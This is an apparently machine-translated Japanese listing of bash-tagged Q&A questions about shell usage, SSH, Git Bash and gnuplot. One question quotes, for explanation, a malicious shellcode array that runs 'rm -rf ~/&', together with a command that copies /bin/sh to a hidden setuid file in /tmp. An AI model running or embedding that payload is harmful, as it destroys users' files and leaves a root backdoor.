タグ付けされた質問 「bash」

Bashは、GNUプロジェクトのUnixライクなオペレーティングシステム用の無料のシェルです。

1
Gnomeのアイドルウィンドウを自動的に閉じる
GnomeでX秒間使用されていない場合、ウィンドウを自動的に閉じることはできますか? たとえば、今、私はいくつかのFirefoxウィンドウや他のファイルブラウザウィンドウなどをこのFirefoxブラウザの後ろに開いています。 2分間触れなかった場合は、閉じてください。これはできますか?私はxdotoolがこのタスクに使用できるかどうか疑問に思いますか?
2 linux  bash  terminal  shell  gnome 


2
暗号bash変数
私はこの形式の暗号化されたコードに出会いました。これには何らかの形の変数展開が含まれていると思います。 echo "Usage: ${0##*/} [-f] [-u user] [--] " ドル記号とそれに続く中括弧で囲まれたストリングは、bash変数$ 0と同等ですか?もしそうなら、なぜ後者と対照的に前者を使うのでしょうか?悟りをありがとう。
2 bash 

1
順序を変更せずに標準エラー出力を複製してbashで標準エラー出力とマージする
標準エラー出力と標準出力の両方をログファイルに書き出し、標準エラー出力を端末(またはデフォルトの出力デバイス)に出力します。 動機: 私は自分のcrontabにコマンドがあります、そして、私はその出力の全てをファイルに記録したいです、そして、エラー出力に書かれた何かがあれば私に電子メールを送りたいです。 私はこれらでいくらか成功しました: (echo out1; echo err1 1>&2; echo out2; echo err2 1>&2) \ 2> >(tee -a log) \ 1>>log または (echo err1 1>&2; echo out2; echo err2 1>&2) \ 3>&1 \ 1> >(tee -a log 1>/dev/null) \ 2> >(tee -a log 1>&3) またはexecで: exec 3>&1 exec 1> >(tee …

1
カーソルを動かさずにreverse-i-searchを終了するにはどうすればいいですか?
Bashでは、(Bashでemacsキーバインドを使用して)逆i検索を実行しているときに、次のような状況に遭遇することがよくあり (reverse-i-search:ccc) aaa bbb |ccc ddd ます。 さて、ここから始めて、cccそれを作るなど、前にいくつかの文字を追加したいと思いeee cccます。 しかし、私は押すことができませんEnter、さもなければコマンドは直接実行されます。 追加したい文字を直接入力することはできません。そうしないと、検索文字列が変更されます。 私は押すことができないEsc、そうでなければbashは検索をやめるだけでなくカーソルを動かすだろう。 それでは、どのようにしてbashに検索を終了し、カーソルをそのままにするように指示すればよいのでしょうか。
2 linux  bash  terminal  emacs 

0
Git Bash遅延出力
私はウィンドウズ上のgit bash端末でいくつかのプログラムを実行し、特定のキーワードを検索するためにgrepに出力をリダイレクトします。問題は、出力が遅れることです。したがって、端末は出力のチャンクを待ってからそれを表示するように見えます。grepを削除しても遅延はありません。出力がgrepにリダイレクトされるときの遅延を修正する方法

1
どのようにhexコマンドはrm -rf〜/&になりますか?
次の悪意のあるコマンドは、コンパイル時にどのようにrm -rf〜/&になりますか? char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
2 linux  bash  c 

2
Bash:「e」を入力できない、または「H」を無限に繰り返す
私の職場には、複数の独立したネットワークがあり、すべてがさまざまなバージョンのRedHat Linux 4、5、および6を実行しています。 これらのネットワークの1つでは、bashを使用できません(または、筆者が知る限り、python、gdbなどのbashフロントエンドを使用するもの)。 > exit 私は代わりに以下を取得します: > HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH<control-C> control-C(bashまたはgdbの場合)を押すか、別の端末でpythonのkillall pythonを実行するまで。 私の主な作業シェルはtcshですが、スクリプト作成にはすべてbashを使用しています。また、単純なループなどを実行するために、対話形式でシェルにドロップすることもあります。幸いなことに、「終了」は私の履歴にあるため、上矢印を使用して元に戻して終了できます。 明確にするために、これらのプログラムをインタラクティブに実行した場合にのみ発生します。シェルを開始したかどうかは関係ありません。 > bash > bash --login > env bash --login > env bash これは、bash_profileファイルとbashrcファイルを削除してもしなくても発生します。私の知る限り、これを引き起こすシステムのプロファイルには何もありません。 私はこれを見つける方法を完全に迷っています!誰もが提供できる助けを本当に感謝しています! TIA!
2 linux  bash  terminal  shell 

3
SSH経由でBashファイルを実行する場合、用語環境変数が設定されていません
リモートマシンでbashスクリプトを実行しようとしています。ターミナルでssh接続を開くと、スクリプトを簡単に実行できます。しかし、私はそれをそのように実行すると: ssh user @ ip </ etc / script エラーが発生します: TERM環境変数が設定されていません。 ここで何が間違っていますか?

2
.ssh / configでホストを反復処理する方法
一部のリモートサーバーでは、Gitを使用して、よく使用されるスクリプトの同期を維持しています。1つのドメイン範囲内にあるすべてのリモートサーバーを更新するために起動できるローカルスクリプトが必要です。私の擬似コードは次のとおりです。 for every Host in .ssh/config do if Hostname is similar to *.uberspace.de ssh Host git -C bin pull fi done これをbashスクリプトを使用してエレガントに行うにはどうすればよいですか?
2 bash  ssh 

2
WindowsでbashからTotal commanderを実行する
Windowsでbash(MINGW)からTotal Commanderを呼び出すエイリアス/関数をセットアップしようとしています。これまでのところ、私の試みはすべて失敗しました。 function tc() { dir="$1" if [ "$dir" == "" ]; then dir="." fi /c/TotalCmd/totalcmd.exe /O /L="`cygpath -wa $dir`" /R="`cygpath -wa .`" & } このソリューションには1つの欠点があります。TCは指定されたディレクトリで開かれますが、パスには追加/があります。これにより、1つのディレクトリを上に移動しようとすると、TCがルートに移動します。 このエイリアスを正しく動作させる方法を知っていますか?ありがとうございました!

2
Macのターミナルで署名を確認する方法
私はターミナルで次のコマンドを使用してsha256sums.gpgとsha256sumsの署名を検証しようとしています(macを使用して画像の説明を入力してください) 代わりに、私はこの答えを得る...!:-(不明:〜username $ gpg --verify SHA256SUMS.gpg SHA256SUMS -bash:gpg:コマンドが見つかりません不明:〜username $ 私は何を間違えますか...?

1
Ubuntuベースのディストリビューションでgnuplotスクリプトからbashへのシステムコールを行う
私の質問は、どうすればgnuplotのデフォルトのシェルを変更できますか?stdoutをbashに送信するために変更したい。 これはかなり簡単なはずですが、私はあきらめています。その理由は次のとおりです。 gnuplot ver。を実行しています。4.6 Lubuntu 13.10。のパッチレベル3 私のデフォルトの対話型シェルはbash(Bourne-again shell)であり、Lubuntuのログインシェルはdash(Debian Almquistシェル)のようです。問題ありません。 しかし、gnuplotはbashの代わりにダッシュも使用しています。これは私がgnuplotに尋ねたときに得たものです: gnuplot> system "echo $0" sh そして、シェルに尋ねると: $ which sh /bin/sh $ ls -goh /bin/sh lrwxrwxrwx 1 root root 4 Dec 23 09:30 /bin/sh -> dash 問題のコンテキスト:いくつかのepslatexプロットを生成していますが、それぞれのincludegraphicsパスを変更する必要があります。 これは問題ではないはずです。sedとループが解決できないことは何もありませんが、gnuplotのシステムコールコマンドを使用してsedまたはbashスクリプトを呼び出すことはうまくいきませんでした。最後のファイルの最後の3行は常に欠落しています。ただし、純粋なbashから同じものを実行すると、かなりきれいになります。 また、opossiteを試し、gnuplotスクリプトからgnuplotを呼び出し、gnuplotスクリプトの印刷コマンドを含め、gnuplotのstd出力をbash変数にキャプチャしようとしましたが、どちらも機能しませんでした。たとえば、bashから次の行を試行すると、std出力にメッセージが返されますが、変数には内容が保存されません。 var=$(gnuplot plot.gnu) これがLubuntuの問題なのかgnuplotの問題なのかわかりません。回避策で既にtexファイルの問題を解決しましたが、gnuplotのシェルの問題はまだ気にしています。 だから私はそれを一般的な方法で尋ねています:¿どうすればgnuplotのデフォルトシェルを変更できますか?出来ますか?たぶんそれは他の誰かにとって役に立つかもしれません。;) 2016年8月3日に編集 最初の質問は、システムコールを使用して(systemコマンドを使用して)gnuplotからbashコマンドとスクリプトを実行する方法についてでした。ただし、この質問に対して提案した解決策は、ディストリビューションの元のシステムシェルdashを、知っているシェルbashに変更することでした。 システムシェルをbashに変更すると、システムの全体的なパフォーマンスに影響する場合があります。
2 ubuntu  bash  gnuplot 

4
bashの列を処理する
次のように、異なる文字を持つ偶数列の文字を(スペースを使用して)置き換えたいと思います。 で: hello でる: h l o これどうやってするの?
2 bash 

2
Bash-そのようなファイルはありませんが、まだファイルは存在します
最近、Debian Jessie amd64ヘッドレスサーバーをインストールしました(ネットインストールの1つを使用)。サーバーは稼働中であり、システムは期待どおりに機能しています。 しかし、それから.cgi(C ++で書かれた)をコンパイルしました。(使用するg++ 4.9.2)コンパイルはうまくいきましたが、それからファイルを実行しようとするとすぐbashに言いNo such file or directoryます。 私は、このエラーに関する他の記事を読んで、私は利用しようとしたfile、lddとさえcatコマンドを、それらのすべては、彼らがそのファイルを見つけることができないと言います。許可され ls -lたファイルを755期待どおりに表示します。 しかし、bash-completionは何もせず、パスを自動補完しません。 しかし、今では興味深いものになりました。 使用midnight commanderすると、バイナリの読み取り、編集、実行に成功し、apacheディレクトリインデックスを含む完全なディレクトリインデックスが一覧表示され、.cgiダウンロードすることもできます。 何が起こっている? 私はそれを実行できるのでmc、実行可能ファイル自体に関するものではないと思います。 bashが破損していませんか? 洞察力を事前に感謝します!

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.